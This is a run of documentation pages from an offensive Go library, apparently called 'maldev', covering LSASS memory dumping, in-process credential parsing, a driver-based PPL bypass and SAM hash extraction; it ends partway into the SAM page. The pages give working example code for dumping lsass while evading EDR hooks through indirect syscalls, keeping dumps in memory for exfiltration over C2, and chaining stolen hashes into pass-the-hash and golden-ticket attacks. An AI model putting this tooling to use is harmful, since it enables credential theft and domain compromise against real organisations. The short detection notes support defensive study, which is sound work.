}

Cleanup — Deleting Undeletable Files

ads.DeleteUndeletable(path)

Since these files use trailing-dot filenames that bypass Win32 normalization, only the \\?\ prefix (used internally by DeleteUndeletable) or NT-level deletion can remove them.

Advantages & Limitations

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/ads is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

• Collection area README
• cleanup/ads — sister NTFS Alternate Data Stream primitives (CRUD-only, used during scrub)
• evasion/stealthopen — read ADS payloads via NTFS Object ID, bypassing path-based EDR file hooks

LSASS Credential Dump

<- Back to Collection

MITRE ATT&CK: T1003.001 — OS Credential Dumping: LSASS Memory Package: credentials/lsassdump Platform: Windows Detection: High

Primer

lsass.exe holds, in memory, every credential material the OS has seen since boot: NTLM hashes (MSV), Kerberos TGT/keys, WDigest plaintexts (when enabled), DPAPI master keys, cached domain credentials, and CloudAP / Live session tokens. Dumping the process and feeding the blob to mimikatz / pypykatz is the single most common lateral-movement prime in Windows red-team engagements.

The loud path — MiniDumpWriteDump(lsass.exe, out.dmp, MiniDumpWithFullMemory) — is blocked or alerted by every modern EDR: MiniDumpWriteDump is heavily hooked, and so is OpenProcess(PROCESS_VM_READ, lsass.pid) on its own.

credentials/lsassdump ships a quieter variant:

1. Stealthier process discovery: NtGetNextProcess walks the running-process list with PROCESS_QUERY_LIMITED_INFORMATION only (cheap access that even protected processes grant). No EnumProcesses call, no PID enumeration via ToolHelp.
2. Minimal audit surface: the single VM_READ request only targets lsass.exe — via NtOpenProcess(CLIENT_ID{pid, 0}, QUERY_LIMITED|VM_READ) after the walk identifies it. No other process is opened with VM_READ.
3. No dbghelp: the MINIDUMP blob is assembled in-process, streaming to the caller's io.Writer. MiniDumpWriteDump is never imported.
4. Caller-routed syscalls: every Nt* call accepts an optional *wsyscall.Caller so the operator can route via direct / indirect syscalls / Hell's Gate, bypassing ntdll function-start hooks.

How It Works

sequenceDiagram
    participant C as "Caller"
    participant D as "lsassdump.Dump"
    participant K as "NTDLL / kernel32"
    participant L as "lsass.exe"

    C->>D: OpenLSASS(caller)
    loop NtGetNextProcess walk
        D->>K: NtGetNextProcess(cur, QUERY_LIMITED)
        K-->>D: next handle
        D->>K: NtQueryInformationProcess(ImageFileName)
        alt name == "lsass.exe"
            D->>K: NtQueryInformationProcess(Basic) → PID
            D->>K: NtOpenProcess(pid, QUERY_LIMITED | VM_READ)
            K-->>D: lsass handle
        end
    end
    C->>D: Dump(handle, w, caller)
    loop for each VM region
        D->>K: NtQueryVirtualMemory(handle, addr)
        D->>K: NtReadVirtualMemory(handle, addr, size)
        K-->>D: bytes
    end
    D->>C: MINIDUMP stream to w
    C->>D: CloseLSASS(handle)

Step-by-step:

1. OpenLSASS(caller) walks the process list with QUERY_LIMITED_INFORMATION.
2. For each handle, NtQueryInformationProcess(ProcessImageFileName, 27) returns the image path; we basename-match case-insensitively against lsass.exe.
3. On match, NtQueryInformationProcess(ProcessBasicInformation, 0) yields the PID. The walk handle is closed.
4. NtOpenProcess opens the target with QUERY_LIMITED | VM_READ. STATUS_ACCESS_DENIED → ErrOpenDenied (need admin); STATUS_PROCESS_IS_PROTECTED → ErrPPL (Credential Guard / RunAsPPL=1).
5. Dump(h, w, caller) assembles a MINIDUMP Config:
   • Regions: NtQueryVirtualMemory loop from addr 0, every committed non-free non-guard region, contents via NtReadVirtualMemory in one shot.
   • Modules: K32EnumProcessModulesEx(LIST_MODULES_ALL) + K32GetModuleFileNameExW (path-hooked psapi today; PEB-walk variant is future work).
   • SystemInfo: win/version.Current() under the hood, so credential parsers pick the right per-build offset table.
6. minidump.Build(w, cfg) streams the four streams (SystemInfoStream, ThreadListStream, ModuleListStream, Memory64ListStream) plus raw region bytes — no intermediate buffer for memory contents.

Usage

import (
    "github.com/oioio-space/maldev/credentials/lsassdump"
)

func main() {
    stats, err := lsassdump.DumpToFile(`C:\ProgramData\Intel\snapshot.bin`, nil)
    if err != nil {
        switch {
        case errors.Is(err, lsassdump.ErrOpenDenied):
            // Need admin. Escalate or bail.
        case errors.Is(err, lsassdump.ErrPPL):
            // Credential Guard / RunAsPPL=1 — separate unprotect chantier.
        default:
            log.Fatal(err)
        }
    }
    fmt.Printf("dumped %d regions / %d bytes / %d modules\n",
        stats.Regions, stats.Bytes, stats.ModuleCount)
}

Stealthier syscalls via *wsyscall.Caller

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
stats, err := lsassdump.DumpToFile("snapshot.bin", caller)
// Every NtGetNextProcess / NtQueryInformationProcess /
// NtQueryVirtualMemory / NtReadVirtualMemory / NtOpenProcess above
// goes through caller → no ntdll function-start hook ever fires.

Streaming into memory (no on-disk artifact)

var buf bytes.Buffer
h, err := lsassdump.OpenLSASS(nil)
if err != nil { log.Fatal(err) }
defer lsassdump.CloseLSASS(h)
stats, err := lsassdump.Dump(h, &buf, nil)
// buf now holds the full MINIDUMP — exfil via C2 without ever writing.

Validation

The package's TestDumpToFile_ProducesValidMiniDump runs on the Windows VM under MALDEV_INTRUSIVE=1 and asserts:

• MDMP magic + version 42899 + 4 streams
• At least one memory region and one module
• File size > 1 MB (lsass is typically 50–200 MB of committed VM)

A real run against an unprotected Win10 VM parses cleanly with pypykatz — MSV NT hashes, WDigest plaintexts (if available), Kerberos session material, DPAPI master keys, and CloudAP tokens all come through. Compatibility with mimikatz is equivalent by construction: the stream layout matches MiniDumpWriteDump(MiniDumpWithFullMemory).

Limitations

• PPL-protected lsass (default on Win11, opt-in on Win10 via RunAsPPL=1 or Credential Guard) refuses VM_READ to userland. The package now ships an EPROCESS-unprotect path (Unprotect(rw driver.ReadWriter, eprocess uintptr, tab PPLOffsetTable)): caller plugs in a kernel/driver.ReadWriter (RTCore64, GDRV, custom), passes lsass's EPROCESS kernel VA + the build's PS_PROTECTION byte offset, and Unprotect zeros the byte. A subsequent OpenLSASS succeeds normally; Reprotect(tok, rw) puts the byte back. Caller is responsible for resolving lsass's EPROCESS upstream (PsActiveProcessHead walk / handle-table parse / bring your own primitive) — different attack chains use different walks, so wrapping that lookup is not part of the surface. See BYOVD — RTCore64 for the driver-side primitive and kernel/driver/rtcore64's SCM lifecycle.
• Module enumeration uses K32EnumProcessModulesEx (psapi), which is path-hooked by some EDRs. A PEB-walk variant (InMemoryOrderModuleList) is tracked as future work.
• Threads are not captured — the ThreadListStream is emitted with zero entries. Credential parsers (mimikatz / pypykatz) only need modules + memory; threads are cosmetic for our use case. Can be added if a consumer explicitly needs context bytes (e.g., live debugger open).
• No chunked reads: each region is read in one NtReadVirtualMemory. For a 200 MB capture this means a 200 MB allocation cross-pagefile — acceptable for the threat model but a future optimisation.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/credentials/lsassdump is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

• Collection area README
• credentials/lsassdump — canonical owner of the LSASS dump producer (PPL bypass + MINIDUMP build)
• credentials/sekurlsa — pure-Go MINIDUMP parser; consumes the bytes produced here

Credential access

← maldev README · docs/index

Pure-Go credential-extraction primitives for Windows: live LSASS process dumping, offline SAM hive parsing, in-process MINIDUMP parsing, and Kerberos ticket forging. The four packages chain end-to-end — lsassdump produces a dump, sekurlsa parses it into typed credentials, goldenticket re-uses an extracted krbtgt hash to mint a Golden TGT, and samdump covers the local-account branch when LSASS access is unavailable.

flowchart LR
    subgraph host [Live Windows host]
        L[lsass.exe<br>memory]
        S[SYSTEM + SAM<br>hives]
        K[krbtgt key<br>on a DC]
    end
    subgraph extract [credentials/*]
        LD[lsassdump<br>NtReadVirtualMemory<br>+ in-process MINIDUMP<br>+ optional PPL bypass]
        SE[sekurlsa<br>parse MINIDUMP<br>walk MSV / Wdigest /<br>Kerberos / DPAPI / TSPkg /<br>CloudAP / LiveSSP / CredMan]
        SD[samdump<br>REGF parser<br>+ syskey / hashed bootkey<br>+ AES/RC4/DES decrypt]
    end
    subgraph forge [credentials/*]
        GT[goldenticket<br>Forge + Submit]
    end
    L --> LD
    LD --> SE
    S --> SD
    K --> SE
    SE -.krbtgt hash.-> GT
    SD --> OUT[NTLM hashes / pwdump]
    SE --> OUT2[NTLM / Kerberos / DPAPI<br>/ CloudAP PRT / etc.]
    GT --> KIRBI[kirbi blob<br>+ LSA cache inject]

Where to start (novice path):

1. Want NTLM hashes / Kerberos tickets from the live host? → lsassdump → sekurlsa chain. The two-package pipeline covers 90% of credential extraction needs.
2. Want local SAM hashes (no LSASS access)? → samdump — offline-friendly REGF parser.
3. Already have a krbtgt hash and want long-dwell domain admin? → goldenticket — forge + submit.

The Quick decision tree below maps every common operator question to the exact entry point.

Packages

Quick decision tree

MITRE ATT&CK

See also

• Operator path: credential harvest scenario
• Detection eng path: credential-access artifacts
• kernel/driver/rtcore64 — BYOVD primitive for PPL unprotect
• evasion/stealthopen — path-based file-hook bypass for ntoskrnl.exe discovery reads
• recon/shadowcopy — VSS-based hive acquisition for samdump

LSASS minidump (live)

← credentials index · docs/index

TL;DR

You want LSASS's in-memory secrets (cleartext passwords, NTLM hashes, Kerberos tickets, DPAPI master keys). LSASS is a process; you dump its memory and parse the credential structures out. This package handles the dump side; the parse side lives in credentials/sekurlsa.

The "heavily-hooked" path is MiniDumpWriteDump from dbghelp.dll — every EDR watches it. This package skips it entirely.

What this DOES achieve:

• Custom in-process MINIDUMP emitter — no dbghelp.dll, no MiniDumpWriteDump call. EDR DbgHelp.dll!* hooks see nothing.
• NtGetNextProcess for lsass discovery — no OpenProcess / EnumProcesses (both monitored).
• VAD walk via NtQueryVirtualMemory — output identical to MiniDumpWriteDump's MemoryListStream so the dump parses cleanly in WinDbg / mimikatz / sekurlsa.
• 6-stream MINIDUMP layout (SystemInfo / ModuleList / MemoryList / ThreadList / Memory64List / Misc) — the canonical subset sekurlsa needs.

What this does NOT achieve:

• Doesn't bypass kernel callbacks — PsSetCreateProcessNotify family still fires when YOU spawn (don't matter here, but callbacks watching cross-process opens DO see your NtGetNextProcess+memory reads). Pair with evasion/kernel-callback-removal for that surface.
• Doesn't parse the dump — that's credentials/sekurlsa. The dump byte buffer is the hand-off interface.
• No SAM / NTDS — separate techniques. See credentials/samdump for SAM, credentials/goldenticket.md for AD Kerberos forging.

Primer — vocabulary

Six terms recur on this page:

LSASS (Local Security Authority Subsystem Service) — Windows process responsible for authentication, session management, and credential caching. Holds NTLM hashes, Kerberos tickets, DPAPI master keys, and (when the user chose to type a password) cleartext credentials in memory.

MINIDUMP — Microsoft's compact crash-dump format. A binary file with named "streams" describing the dumped process's modules, memory regions, threads, and metadata. Tools like WinDbg and mimikatz read this format to extract credentials.

PPL (Protected Process Light) — Windows protection level applied to LSASS when HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL=1. Even SYSTEM cannot OpenProcess(PROCESS_VM_READ) against a PPL process from user mode. Default-on for Windows 11 22H2+; common on hardened servers.

VAD (Virtual Address Descriptors) — kernel structure describing every committed memory region of a process. Walking the VAD via NtQueryVirtualMemory lets the dumper enumerate exactly the same regions MiniDumpWriteDump would walk, without the API hook.

SeDebugPrivilege — Windows privilege required to open arbitrary processes for reading. Granted to admins by default but disabled in the token; must be enabled before use (process/session.EnableSeDebugPrivilege).

BYOVD (Bring Your Own Vulnerable Driver) — load a legitimately-signed-but-vulnerable driver (RTCore64 from MSI Afterburner) that exposes an IOCTL for arbitrary kernel R/W. The PPL flip path uses this to clear the EPROCESS protection bits.

Primer

LSASS holds the cleartext Kerberos password material, NTLM hashes, DPAPI master keys, TGT cache, CloudAP PRT, and TSPkg/RDP plaintext. Every credential-dumping tool eventually wants its memory.

The classic path is MiniDumpWriteDump from dbghelp.dll; modern EDRs hook every interesting call inside that function. The lsassdump package skips the hook surface entirely:

1. Locate lsass via NtGetNextProcess (no OpenProcess / CreateToolhelp32Snapshot / EnumProcesses).
2. Walk the target's VAD via NtQueryVirtualMemory to enumerate committed regions.
3. Walk the loaded modules via NtQueryInformationProcess(ProcessLdr…) parsing the PEB's Ldr.InMemoryOrderModuleList.
4. Read each region's bytes with NtReadVirtualMemory.
5. Emit a 6-stream MINIDUMP (Header, SystemInfo, ModuleList, Memory64List, MemoryInfoList, ThreadList stub) directly to an io.Writer.

Every Nt* call accepts an optional *wsyscall.Caller (nil = WinAPI fallback) so the operator can route through direct or indirect syscalls and bypass user-mode hooks.

PPL stands separate: when RunAsPPL=1 (Win 11 default) the kernel rejects PROCESS_VM_READ regardless of token privileges. The package ships a kernel-level bypass via kernel/driver/rtcore64: zero EPROCESS.Protection byte (temporarily), open lsass, restore the byte. The Discover* helpers parse ntoskrnl.exe PE prologues to derive the EPROCESS field offsets without hand-curated tables.

How It Works

flowchart TD
    subgraph PPL [PPL bypass — optional, only if RunAsPPL]
        D1[DiscoverProtectionOffset<br>parse PsIsProtectedProcess]
        D2[DiscoverUniqueProcessIdOffset<br>parse PsGetProcessId]
        D3[DiscoverInitialSystemProcessRVA<br>find PsInitialSystemProcess]
        D1 --> FE[FindLsassEProcess<br>walk PsActiveProcessLinks]
        D2 --> FE
        D3 --> FE
        FE --> UN[Unprotect<br>zero Protection byte<br>via RTCore64]
    end
    UN -. removes PPL bit .-> OPEN
    OPEN[OpenLSASS<br>NtGetNextProcess + access mask] --> ENUM[collectRegions / collectModules<br>NtQueryVirtualMemory<br>+ ProcessLdrInformation]
    ENUM --> RD[Dump<br>stream regions to writer<br>via NtReadVirtualMemory]
    RD --> DMP[MINIDUMP blob]
    DMP --> SK[credentials/sekurlsa<br>parses extracts]
    UN -. after dump .-> RP[Reprotect<br>restore Protection byte]

Implementation details:

• OpenLSASS walks the system's process list with NtGetNextProcess — no public-API call ever names lsass by string. The PID is resolved by reading the EPROCESS or via NtQueryInformationProcess(ProcessBasicInformation).
• The Memory64List stream is the bulk of the dump — every committed region's BaseAddress + RegionSize + RawData. The package writes the directory entry first, then streams payload bytes through the writer to keep RAM usage flat regardless of lsass size (~80–600 MB on modern boxes).
• Stats reports per-pass counters (regions, modules, bytes read, bytes skipped) so the operator can spot incomplete dumps before parsing.
• DiscoverProtectionOffset cross-validates two prologue patterns (PsIsProtectedProcess + PsIsProtectedProcessLight) and returns the EPROCESS byte offset only when both agree — falsey matches at runtime would otherwise corrupt EPROCESS.
• Unprotect keeps the original Protection value in PPLToken so Reprotect can restore it. Aborting between the two leaves lsass unprotected; defer the call.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/credentials/lsassdump is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — dump unprotected lsass to file

import (
    "fmt"

    "github.com/oioio-space/maldev/credentials/lsassdump"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
stats, err := lsassdump.DumpToFile(`C:\Users\Public\lsass.dmp`, caller)
if err != nil {
    panic(err)
}
fmt.Printf("dumped %d regions, %d MB\n", stats.Regions, stats.BytesRead>>20)

Composed — dump in-memory + parse without disk

Pipe the MINIDUMP through a bytes.Buffer straight into sekurlsa.Parse:

import (
    "bytes"
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/credentials/sekurlsa"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
h, err := lsassdump.OpenLSASS(caller)
if err != nil {
    panic(err)
}
defer lsassdump.CloseLSASS(h)

var buf bytes.Buffer
if _, err := lsassdump.Dump(h, &buf, caller); err != nil {
    panic(err)
}
res, err := sekurlsa.Parse(bytes.NewReader(buf.Bytes()), int64(buf.Len()))
if err != nil {
    panic(err)
}
defer res.Wipe()

Advanced — PPL bypass via RTCore64

When RunAsPPL=1, drop the protection byte through a kernel ReadWriter, dump, restore.

import (
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/kernel/driver/rtcore64"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

drv, err := rtcore64.Load(rtcore64.LoadOptions{})
if err != nil {
    panic(err)
}
defer drv.Unload()

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
pid, _ := lsassdump.LsassPID(caller)

ep, err := lsassdump.FindLsassEProcess(drv, pid, nil, caller)
if err != nil {
    panic(err)
}

protOff, _ := lsassdump.DiscoverProtectionOffset("", nil)
tab := lsassdump.PPLOffsetTable{Protection: protOff}

tok, err := lsassdump.Unprotect(drv, ep, tab)
if err != nil {
    panic(err)
}
defer lsassdump.Reprotect(drv, tok) //nolint:errcheck

if _, err := lsassdump.DumpToFile(`C:\Users\Public\ppl-lsass.dmp`, caller); err != nil {
    panic(err)
}

See ExampleDumpToFile.

OPSEC & Detection

D3FEND counters:

• D3-PSA — flags driver-load + lsass-open combos.
• D3-SICA — kernel-driver load auditing.
• D3-FCA — MINIDUMP magic on disk.

Hardening for the operator:

• Stream the dump through a bytes.Buffer + sekurlsa.Parse in-process — no .dmp file ever lands.
• Route Nt* through indirect syscalls (wsyscall.MethodIndirect).
• Open lsass with the minimum access mask the dump needs (PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION).
• Defer Reprotect — never leave lsass unprotected on a crash path.

MITRE ATT&CK

Limitations

• Windows-only build/dump pipeline. Pure Go on-disk PE parsing (Discover*) runs cross-platform — analysts can resolve EPROCESS offsets from a captured ntoskrnl.exe on Linux/CI.
• No WoW64 dumps. Modern lsass is x64; legacy WoW64 not supported.
• Driver visibility. RTCore64 is a Microsoft-blocklisted vulnerable driver as of recent vulnerable-driver blocklist updates; on hardened systems the driver load itself is blocked. Plan for vBO (very few alternative drivers) or alternative PPL bypasses.
• No thread context capture. ThreadList is a stub — full per-thread context is not emitted. sekurlsa doesn't need it; some legacy tooling (windbg !analyze) does.
• Protection-byte race. Between Unprotect and OpenLSASS there is a microsecond window where lsass is unprotected. Defenders with continuous EPROCESS monitoring (rare) can spot the transition.
• LsassPID requires elevation. The walk uses NtGetNextProcess with PROCESS_QUERY_LIMITED_INFORMATION, which the kernel silently denies for lsass.exe (a PPL) when the caller has no elevation/SeDebugPrivilege. The loop runs to STATUS_NO_MORE_ENTRIES without ever seeing lsass and surfaces ErrLSASSNotFound — the same error you would see if lsass were genuinely absent. From a non-elevated context use NtQuerySystemInformation(SystemProcessInformation) directly (different syscall, returns names without opening handles) if PID-only enumeration is needed; the rest of the dump path can't proceed under lowuser anyway.

See also

• credentials/sekurlsa — parses the produced MINIDUMP.
• credentials/goldenticket — downstream consumer of an extracted krbtgt hash.
• kernel/driver/rtcore64 — PPL-bypass driver primitive.
• evasion/stealthopen — path-based file-hook bypass for ntoskrnl.exe reads.
• win/syscall — direct/indirect syscall caller used throughout this package.
• Operator path.
• Detection eng path — LSASS dump telemetry.

LSASS Parsing — In-Process Credential Extraction

← Credentials area README · docs/index

MITRE ATT&CK: T1003.001 — OS Credential Dumping: LSASS Memory Package: credentials/sekurlsa Platform: Cross-platform (pure Go) Detection: Low — runs entirely in the implant's own address space, no Win32 calls

TL;DR

You have the LSASS minidump bytes (from credentials/lsassdump) and want to extract the credentials inside without round-tripping to mimikatz on a different host. This package parses the dump in-process and returns structured creds.

What this DOES achieve:

• Pure-Go MINIDUMP parser — no dbghelp.dll, no Win32 calls inside the implant address space.
• Cross-platform — runs on the analyst's Linux box if they exfil the dump.
• Structured Result with Warnings []string for partial parses (Credential Guard / LSAISO / unknown lsasrv build).

What this does NOT achieve:

• Doesn't acquire the dump — that's credentials/lsassdump.
• Doesn't bypass Credential Guard / LSAISO — when IsoUserMode is enabled, the secrets-bearing region of LSASS is encrypted to the secure-world VTL1; the dump bytes for that region are zeros. Result.Warnings flags this.
• No live-process attach — input is a MINIDUMP byte buffer, not a live PID. To go live, dump first then parse.
• lsasrv.dll structure offsets are version-keyed — every LSASS build can shift the SECPKG_FUNCTION_TABLE / Logon / KIWI_BCRYPT_KEY layouts. Parser is best-effort + falls back to known-good signatures; very old or very new builds may partially miss.

Primer

credentials/lsassdump (the producer, see lsass-dump.md) captures lsass.exe's memory into a MINIDUMP blob. To use the blob the operator historically had to round-trip it through mimikatz on a different host or pypykatz on a Linux analyst box — which means exfil-ing a 50 MB+ file, leaving it on disk somewhere, and depending on a Python runtime + 50 MB of crypto deps for the analyst.

credentials/sekurlsa is the consumer — pure-Go MINIDUMP parsing + in-process credential extraction, so the implant pipeline becomes:

PROCESS_VM_READ → MINIDUMP bytes (in-memory) → MSV1_0 hashes (in-memory) → wipe

No disk artefact. No exfil. No external dependency.

v1 (v0.23.0) extracts MSV1_0 NTLM hashes — the dominant pivot for pass-the-hash workflows. WDigest plaintext, Kerberos tickets, and DPAPI master keys are scoped follow-ups on top of v1's LSA-key extraction layer.

How It Works

sequenceDiagram
    participant Caller
    participant Parse as "sekurlsa.Parse"
    participant Reader as "MINIDUMP reader"
    participant Crypto as "LSA crypto"
    participant Walker as "MSV1_0 walker"

    Caller->>Parse: Parse(reader, size)
    Parse->>Reader: openReader → header + directory + 4 streams
    Reader-->>Parse: SystemInfo, Modules, Memory64List
    Parse->>Parse: templateFor(BuildNumber)
    Parse->>Reader: ModuleByName("lsasrv.dll") + ("msv1_0.dll")
    Parse->>Crypto: extractLSAKeys(lsasrv, template)
    Crypto->>Reader: ReadVA(lsasrv.Base, lsasrv.Size)
    Crypto->>Crypto: findPattern(IV/3DES/AES) + derefRel32 + readPointer
    Crypto->>Crypto: parseBCryptKeyDataBlob → crypto.cipher.Block
    Crypto-->>Parse: *lsaKey (IV + AES + 3DES)
    Parse->>Walker: extractMSV1_0(msv1_0, template, keys)
    Walker->>Walker: derefRel32 → LogonSessionList head VA
    loop for each bucket × Flink chain
        Walker->>Reader: ReadVA(node, NodeSize)
        Walker->>Reader: ReadVA(UNICODE_STRING.Buffer)
        Walker->>Reader: ReadVA(PrimaryCredentials.Buffer)
        Walker->>Crypto: decryptLSA(ciphertext, lsaKey)
        Walker->>Walker: parseMSV1_0Primary → NT/LM/SHA1
    end
    Walker-->>Parse: []LogonSession
    Parse-->>Caller: *Result

The crypto layer mirrors BCryptKeyDataBlobImport's logic: parse a 12-byte BCRYPT_KEY_DATA_BLOB_HEADER (magic KDBM, version 1, cbKeyData), then import the trailing payload into crypto/aes (16 bytes) or crypto/des (24 bytes). The IV is plain bytes, no header.

CBC decryption picks the cipher by ciphertext alignment: 16-aligned goes through AES, 8-aligned-but-not-16 goes through 3DES. Same heuristic pypykatz uses.

Simple Example

package main

import (
    "fmt"
    "log"

    "github.com/oioio-space/maldev/credentials/sekurlsa"
)

func main() {
    result, err := sekurlsa.ParseFile(`C:\ProgramData\Intel\snapshot.dmp`)
    if err != nil {
        log.Fatal(err)
    }
    defer result.Wipe()

    fmt.Printf("Build %d %s — %d sessions\n",
        result.BuildNumber, result.Architecture, len(result.Sessions))

    for _, s := range result.Sessions {
        for _, c := range s.Credentials {
            if msv, ok := c.(sekurlsa.MSV1_0Credential); ok && msv.Found {
                fmt.Println(msv.String()) // pwdump format
            }
        }
    }
}

Result.Wipe overwrites every hash buffer in place after the caller's loop — pair with cleanup/memory.SecureZero on any other slice you held the hash bytes in.

Advanced — registering a custom Template

When the dump's BuildNumber doesn't match a registered template, Parse returns (partial Result, ErrUnsupportedBuild). The partial result still carries BuildNumber + Architecture + Modules so the operator can detect the gap, register a template, and retry:

package main

import (
    "errors"
    "log"

    "github.com/oioio-space/maldev/credentials/sekurlsa"
)

func init() {
    // Win11 24H2 (build 26100) — patterns derived offline from the
    // Microsoft-shipped lsasrv.dll for this CU. See README.md for
    // the workflow.
    _ = sekurlsa.RegisterTemplate(&sekurlsa.Template{
        BuildMin:                26100,
        BuildMax:                26100,
        IVPattern:               []byte{ /* operator-derived bytes */ },
        IVOffset:                0x3F,
        Key3DESPattern:          []byte{ /* … */ },
        Key3DESOffset:           -0x59,
        KeyAESPattern:           []byte{ /* … */ },
        KeyAESOffset:            0x10,
        LogonSessionListPattern: []byte{ /* … */ },
        LogonSessionListOffset:  0x17,
        LogonSessionListCount:   64,
        MSVLayout: sekurlsa.MSVLayout{
            NodeSize:          0x110,
            LUIDOffset:        0x10,
            UserNameOffset:    0x90,
            LogonDomainOffset: 0xA0,
            LogonServerOffset: 0xB0,
            LogonTypeOffset:   0xC8,
            CredentialsOffset: 0xD8,
        },
    })
}

func main() {
    result, err := sekurlsa.ParseFile("snapshot.dmp")
    switch {
    case errors.Is(err, sekurlsa.ErrUnsupportedBuild):
        log.Fatalf("build %d not covered; register a template", result.BuildNumber)
    case errors.Is(err, sekurlsa.ErrLSASRVNotFound):
        log.Fatal("dump missing lsasrv.dll module — wrong process?")
    case err != nil:
        log.Fatal(err)
    }
    defer result.Wipe()
    log.Printf("extracted %d sessions on build %d", len(result.Sessions), result.BuildNumber)
}

Composed — Producer + Consumer in one process

The point of a pure-Go consumer: dump → extract → wipe without ever touching disk or shipping a second binary to the operator.

package main

import (
    "bytes"
    "fmt"
    "log"

    "github.com/oioio-space/maldev/credentials/sekurlsa"
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/cleanup/memory"
)

func main() {
    // 1. Open lsass.
    h, err := lsassdump.OpenLSASS(nil) // nil = standard WinAPI; pass a *wsyscall.Caller for stealthier syscalls
    if err != nil {
        log.Fatal(err)
    }
    defer lsassdump.CloseLSASS(h)

    // 2. Dump into an in-memory buffer.
    var buf bytes.Buffer
    if _, err := lsassdump.Dump(h, &buf, nil); err != nil {
        log.Fatal(err)
    }

    // 3. Parse the bytes still in memory.
    result, err := sekurlsa.Parse(bytes.NewReader(buf.Bytes()), int64(buf.Len()))
    if err != nil {
        log.Fatal(err)
    }
    defer result.Wipe()

    // 4. Use the credentials.
    for _, s := range result.Sessions {
        for _, c := range s.Credentials {
            if msv, ok := c.(sekurlsa.MSV1_0Credential); ok && msv.Found {
                fmt.Println(msv.String())
            }
        }
    }

    // 5. Wipe the dump bytes from the Go heap.
    memory.SecureZero(buf.Bytes())
}

Layered with PPL bypass via BYOVD when the lsass process is RunAsPPL=1:

import (
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/credentials/sekurlsa"
    "github.com/oioio-space/maldev/kernel/driver/rtcore64"
)

// 1. Bring up RTCore64 driver.
var d rtcore64.Driver
if err := d.Install(); err != nil { panic(err) }
defer d.Uninstall()

// 2. EPROCESS unprotect lsass — caller resolves the EPROCESS via
//    an upstream walk (see lsass-dump.md).
tok, _ := lsassdump.Unprotect(&d, lsassEProcess, lsassdump.PPLOffsetTable{
    Build: 19045, ProtectionOffset: 0x87A,
})
defer lsassdump.Reprotect(tok, &d)

// 3. Open + Dump + Parse — same as above. With PS_PROTECTION zeroed,
//    the userland NtOpenProcess(VM_READ) succeeds.

Limitations

• Templates required. v1 ships the framework; per-build templates ship under any license as community contributions verified against real dumps. The RegisterTemplate(t) opt-in lets operators ship their own without forking.
• MSV1_0 only. WDigest, Kerberos, DPAPI, LiveSSP / TSPkg / CloudAP are each their own follow-up chantier on top of v1's crypto layer.
• x64 only. WoW64 32-bit dumps are vanishingly rare on modern Windows and not in v1 scope.
• Credential Guard / LSAISO sessions appear in the list but the payloads are kernel-isolated ciphertext — surfaced as Result.Warnings, not fatal errors.
• No live-process attach. A mimikatz!sekurlsa-style direct attach to lsass is a separate chantier (credentials/lsalive) that needs PPL bypass + much louder OPSEC. The dump-then-parse pipeline gives most of the value with a fraction of the noise.
• .kirbi export composes via stealthopen.Creator. (*KerberosTicket).ToKirbiFile(dir) lands the file via plain os.Create; pair with ToKirbiFileVia(creator, dir) to route the write through the operator's primitive (transactional NTFS, encrypted-stream wrapper, ADS, raw NtCreateFile). Same []byte content; same filename.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/credentials/sekurlsa is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

• Credentials area README
• credentials/lsassdump — producer counterpart (dump LSASS so this parser has bytes to chew)
• credentials/goldenticket — feed the extracted krbtgt hash directly into Forge

SAM hive dump

← credentials index · docs/index

TL;DR

You want the local Windows account hashes (NT/LM) for the machine — Administrator's hash for pass-the-hash, local service accounts, etc. The hashes live in the SAM registry hive, encrypted with a key derived from the SYSTEM hive's "syskey".

Two paths depending on what you have on disk:

What this DOES achieve:

• Pure-Go REGF (registry hive) parser — no Win32 dependency for the decryption side.
• Full crypto chain: syskey reassembly from Lsa\{JD,Skew1,GBG,Data} class strings, AES-128-CBC unwrap of hashed bootkey, per-user RID-keyed RC4 + DES to recover the NT hash.

What this does NOT achieve:

• NTDS.dit (domain controller's AD database) is OUT OF SCOPE — separate format, separate code path. SAM is local accounts only.
• No DPAPI / SECURITY hive parsing — those carry per-user credential blobs (browser passwords, scheduled task creds). This package does NT hashes only.
• No cleartext — NT hashes are one-way. For cleartext credentials, dump LSASS instead (credentials/lsassdump
  • credentials/sekurlsa).
• LiveDump is observable — reg save HKLM\SAM requires SeBackupPrivilege and shows up in EDR command-line and registry-access telemetry. Prefer offline parse from pre-acquired hives when possible.

Primer

Local Windows accounts live in the SAM registry hive under SAM\Domains\Account. Each user's NT/LM hash is stored encrypted — two layers of crypto stand between the on-disk bytes and a usable hash:

1. The boot key (syskey) is split across four Lsa\{JD,Skew1,GBG,Data} class strings in the SYSTEM hive, permuted at boot to defeat trivial copies. Reassembling it requires the SYSTEM hive.
2. The boot key encrypts the hashed bootkey stored in SAM\Domains\Account\F — itself an AES-128-CBC blob keyed on MD5(bootKey || rid_str || qwerty || rid_str) (legacy revision uses RC4).
3. The hashed bootkey then derives per-user keys (RC4 or AES-128-CBC depending on the revision tag in F). Per-user keys decrypt the 16-byte LM and NT hash blobs in SAM\Domains\Account\Users\<RID>\V.
4. Modern Windows (10 1607+) also wraps the hashes in a final DES permutation keyed on the RID — same algorithm Windows itself uses to look up the hash at logon.

